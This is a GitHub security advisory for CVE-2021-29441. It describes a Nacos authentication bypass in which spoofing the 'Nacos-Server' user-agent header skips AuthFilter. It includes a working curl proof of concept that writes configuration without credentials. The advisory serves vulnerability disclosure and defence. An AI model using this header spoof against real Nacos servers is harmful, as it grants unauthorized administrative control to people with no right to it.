GHSA-36hp-jr8h-556f

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GHSA-36hp-jr8h-556f

Summary: Authentication Bypass

Details: When configured to use authentication (`-Dnacos.core.auth.enabled=true`) Nacos uses the `AuthFilter` servlet filter to enforce authentication. This filter has a [backdoor](https://github.com/alibaba/nacos/blob/5fa05aef52f7432aeab19fe53035431b9d8c91d9/core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java#L78-L81) that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the `user-agent` HTTP header so it can be easily spoofed. The following request to the `configuration` endpoint gets rejected as we are not providing any credentials: ``` ❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld" {"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"} ``` However the following one gets accepted by using the `Nacos-Server` user-agent header: ``` ❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld" true ``` #### Impact This issue may allow any user to carry out any administrative tasks on the Nacos server.

References: https://nvd.nist.gov/vuln/detail/CVE-2021-29441, https://github.com/alibaba/nacos/issues/4701, https://github.com/alibaba/nacos/pull/4703, https://github.com/advisories/GHSA-36hp-jr8h-556f